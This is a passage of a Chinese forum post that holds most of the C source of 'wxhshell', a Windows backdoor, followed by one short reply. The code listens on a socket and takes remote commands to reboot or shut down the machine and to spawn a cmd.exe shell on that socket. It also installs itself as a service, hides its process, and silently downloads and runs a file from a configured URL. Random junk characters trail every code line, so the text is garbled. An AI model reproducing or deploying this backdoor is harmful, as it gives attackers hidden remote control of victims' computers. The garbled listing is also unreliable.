  send(wsh,msg_ws_err,strlen(msg_ws_err),0); uo`O$k<;  
  else Mx,QgYSu  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h-rPLU;Bw  
  } - i``yf?P  
  else { -eKi}e  
/rsr|`#  
    switch(cmd[0]) { xFZA1 8  
  #bX~.jKW  
  // 帮助 r81YL  
  case '?': { ,Y~{RgG  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I>k >^  
    break; "e WN5 2  
  } ; z_ZZ(W  
  // 安装 \RcB,?OK  
  case 'i': { pDr%uL  
    if(Install()) x\qS|q\N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G([8Q8B4 +  
    else Vl;GQe  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w9D<^(_}/  
    break; FYIzMp.4  
    } v,t&t9}/  
  // 卸载 >t2E034_  
  case 'r': { 2ye^mJ17  
    if(Uninstall()) w3lR8R]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5IeF |#g  
    else 2mS3gk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e %VJ:Dj  
    break;  <b7 4L  
    } et|P5%G  
  // 显示 wxhshell 所在路径 =j[zMO  
  case 'p': { !a&@y#x  
    char svExeFile[MAX_PATH]; V|.3Z\(  
    strcpy(svExeFile,"\n\r"); d4c-(ZRl  
      strcat(svExeFile,ExeFile); Lq@pJ)a  
        send(wsh,svExeFile,strlen(svExeFile),0); K5U=%z  
    break; 0RY{y n3  
    } *@'4 A :A  
  // 重启 / H+br_D9  
  case 'b': { b#p)bcz!I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B9`^JYT<  
    if(Boot(REBOOT)) /60 `"xH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X+;F5b9z  
    else { xEBiBsk d  
    closesocket(wsh); V$u~}]z  
    ExitThread(0); ~2xC.DF_N  
    } Pf s_s6  
    break; *0ZL@Kw  
    } M/GQQG;  
  // 关机 olPV"<;+pO  
  case 'd': { =w HU*mK  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2XJn3wPi  
    if(Boot(SHUTDOWN)) j&(2ze:=*$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +(/?$dRH  
    else { Vx_ lI #3  
    closesocket(wsh); U~z`u&/  
    ExitThread(0); '0g1v7Gx  
    } iq$edq[  
    break; |ubDudzp  
    } `{fqnNJE  
  // 获取shell u9>zC QRO  
  case 's': { *<*{gO?Q4  
    CmdShell(wsh); 0'!v-`.  
    closesocket(wsh); m#SDB6l  
    ExitThread(0); hQ&S*f&='  
    break; M0`nr}g  
  } $3BCA)5:  
  // 退出 R }M'D15  
  case 'x': { @xR7>-$0p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =T5vu~[J/e  
    CloseIt(wsh); xz#;F ,`ZR  
    break; #*uSYGdc  
    } 65bLkR{0  
  // 离开 ?Dro)fH1  
  case 'q': { 5T,Doxo  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); gwk$|aT@  
    closesocket(wsh); ia15r\4j)  
    WSACleanup(); <{@?c  
    exit(1); MdK!Y  
    break; .J' 8d"+  
        } 4?XX_=+F|  
  } c^P8)g Pf  
  } _[8xq:G  
[^r0red  
  // 提示信息 iorKS+w"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sZFIQ)b9  
} F/9]{H  
  } b_Ns Ch3@  
-jsNAQ  
  return; fLK*rK^{"  
} a5WVDh, cR  
vTN/ho,H  
// shell模块句柄 $|.x!sA  
int CmdShell(SOCKET sock) j"o`K}C  
{ J 2%^%5&0  
STARTUPINFO si; |M|'S~z  
ZeroMemory(&si,sizeof(si)); !!&H'XEJV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ggy_ Ctu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (gBP`*2  
PROCESS_INFORMATION ProcessInfo; ]Po9a4w#  
char cmdline[]="cmd"; X}'3N'cbkU  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @O+yxGA  
  return 0; }h<\qvCcU  
} 8[(eV.  
E> Ukxi1  
// 自身启动模式 )t={+^Xe  
int StartFromService(void) kvs^*X''Ep  
{ \&]M \  
typedef struct Db\.D/ 76  
{ NL&(/72V  
  DWORD ExitStatus; uyP)5,  
  DWORD PebBaseAddress; 7uJy<O  
  DWORD AffinityMask; sKIWr{D  
  DWORD BasePriority; j Efrxlj  
  ULONG UniqueProcessId; .!0),KmkK  
  ULONG InheritedFromUniqueProcessId; @K36?d]e  
}   PROCESS_BASIC_INFORMATION; a$Eqe_  
F7J-@T<  
PROCNTQSIP NtQueryInformationProcess; &,+G}  
`*e',j2}UU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5sC{5LJzC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q /EK ]B  
k:PO"<-U  
  HANDLE             hProcess; '5wa"/ ?w  
  PROCESS_BASIC_INFORMATION pbi; uRG0} >]|U  
[P)'LY6F  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =-jkp  
  if(NULL == hInst ) return 0; (V @g?|LZ  
&'V_80vA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x|*v(,7b]!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *A2J[,?c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gWA)V*}f  
+B^ / =3P  
  if (!NtQueryInformationProcess) return 0; aB<~T[H%h  
B, nCx=\S  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gT-'#K2qT  
  if(!hProcess) return 0; bs U$mtW  
qdh;zAMx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "L.)ML  
.6SdSB ^M  
  CloseHandle(hProcess);  WwbE xn<  
ntkTrei ]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s<'^ @Y  
if(hProcess==NULL) return 0; K"Vv=  
A/RHb^N  
HMODULE hMod; }MY7<sMDOy  
char procName[255]; #T Cz$_=t  
unsigned long cbNeeded; z=<T[Uy  
a#FkoA~M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); CyO2Z  
p%,:U8fOR  
  CloseHandle(hProcess); ElhTB  
x*}j$n(Oa  
if(strstr(procName,"services")) return 1; // 以服务启动 {YWj`K  
S%uH*&`  
  return 0; // 注册表启动 sR,]eo<p&  
} *X\i= K!  
Lx,"jA/  
// 主模块 KL# F5\ E  
int StartWxhshell(LPSTR lpCmdLine) eS fT +UL  
{ C$ oY,A,  
  SOCKET wsl; l_iucN  
BOOL val=TRUE; 7^'TU=ss_  
  int port=0; YQ X+lE  
  struct sockaddr_in door; 1;3oGuHj8  
[&t3xC,  
  if(wscfg.ws_autoins) Install(); @=`Dw/13  
,0NVb7F;k  
port=atoi(lpCmdLine); rZ 9bz}K  
 Fwyv>U  
if(port<=0) port=wscfg.ws_port; ^Tc&?\3  
6kGIO$xJ)  
  WSADATA data; 5+rYk|*D+k  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5tHv'@  
OP]=MZP|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   fJLlz$H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -(~Tu>KaH  
  door.sin_family = AF_INET; l"o@.C} f/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); QKc3Q5)@j  
  door.sin_port = htons(port); 6=A2Y:8  
}M?GqA=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sY7:Lzs.,  
closesocket(wsl); ma@ws,H  
return 1; <M nzR  
} 6#vD>@H  
m'Z233Nt"  
  if(listen(wsl,2) == INVALID_SOCKET) { j]rE0Og  
closesocket(wsl); >4}+\ Q`S  
return 1; Bk a\0+  
} 2/=CrK  
  Wxhshell(wsl); LdI)  
  WSACleanup(); iq,qf)BY.|  
w_@N T}  
return 0; VE4!=4  
,=B "%=S  
} 'cy35M  
-'BJhi\Y]~  
// 以NT服务方式启动 O7ceSz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [Av87!kJ!X  
{ !vfjo[v  
DWORD   status = 0; ySP1WK  
  DWORD   specificError = 0xfffffff; uljd)kLy4O  
Gv>,Ad ka  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dr^pzM!N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; dm,7OQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,$Qa]UN5Q  
  serviceStatus.dwWin32ExitCode     = 0; QX ishHk&  
  serviceStatus.dwServiceSpecificExitCode = 0; v3Tr6[9  
  serviceStatus.dwCheckPoint       = 0; f3lFpS  
  serviceStatus.dwWaitHint       = 0; <i^Bq=E<rJ  
c_}i(HQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rOyK==8/Fg  
  if (hServiceStatusHandle==0) return; IGEf*!  
Namw[Tg J  
status = GetLastError(); C>$5<bx  
  if (status!=NO_ERROR) 8NudY3cU!  
{ _ot4HmD  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; h|yv*1/|  
    serviceStatus.dwCheckPoint       = 0; G^p>fy~  
    serviceStatus.dwWaitHint       = 0; Xw`vf7z*  
    serviceStatus.dwWin32ExitCode     = status; @cAv8i K  
    serviceStatus.dwServiceSpecificExitCode = specificError; );}k@w fw)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mj[PKEdkB  
    return; +c/am``  
  } )b"H]"  
r^ S 4 I&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; WG NuB9R  
  serviceStatus.dwCheckPoint       = 0; ~ 6 1?nu  
  serviceStatus.dwWaitHint       = 0; jU)r~QhN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _zI9 5  
} QOlm#S  
" ^ydoRZ  
// 处理NT服务事件,比如:启动、停止 H!4!1J.=xw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;TF(opW:  
{ Bt[`p\p@  
switch(fdwControl) z!)_'A  
{ SW UHHl  
case SERVICE_CONTROL_STOP: wg^#S  
  serviceStatus.dwWin32ExitCode = 0; &fdH HN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m;WUp{'  
  serviceStatus.dwCheckPoint   = 0;  "@Bc eD  
  serviceStatus.dwWaitHint     = 0; Xlw&hKS  
  { C16MzrB}(N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <oI{:KH  
  } ;i^p6b j  
  return; T.<er iv  
case SERVICE_CONTROL_PAUSE: 49nZWv48"_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; bRJYw6oA<  
  break; yTz@q>6s-  
case SERVICE_CONTROL_CONTINUE: } Ga@bY6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \o?zL7  
  break; t]P[>{y  
case SERVICE_CONTROL_INTERROGATE: <>A:Oi3^  
  break; a k@0M[d  
}; zKe&*tZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }C/u>89%q  
} C#emmg!a\  
/YR*KxIx  
// 标准应用程序主函数 O4$ra;UM`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <wFR%Y/j  
{ &Sj<X`^  
.S`Ue,H  
// 获取操作系统版本 "Fy34T0N  
OsIsNt=GetOsVer(); >J[g)$,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >"f,'S5*  
! o:m*:  
  // 从命令行安装 VE& ?Zd~  
  if(strpbrk(lpCmdLine,"iI")) Install(); >{~W"  
=<_xUh.  
  // 下载执行文件 Ra'0 ^4t  
if(wscfg.ws_downexe) { K0@2>nR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G`ZpFg0Y  
  WinExec(wscfg.ws_filenam,SW_HIDE); ve.iyr  
} 8U/q3@EC  
;y%lOYm  
if(!OsIsNt) { bEV 9l  
// 如果时win9x,隐藏进程并且设置为注册表启动 _K )B  
HideProc(); zawU  
StartWxhshell(lpCmdLine); 7fLLV2  
} e,={!P"f  
else J|sX{/WT  
  if(StartFromService()) qo}-m7  
  // 以服务方式启动 XrYMv WT  
  StartServiceCtrlDispatcher(DispatchTable); xH; qJRHa  
else C (vi ns  
  // 普通方式启动 A-~#ydv  
  StartWxhshell(lpCmdLine); : &mYz(1q  
wp-5B= #:{  
return 0; )pjd*+V  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八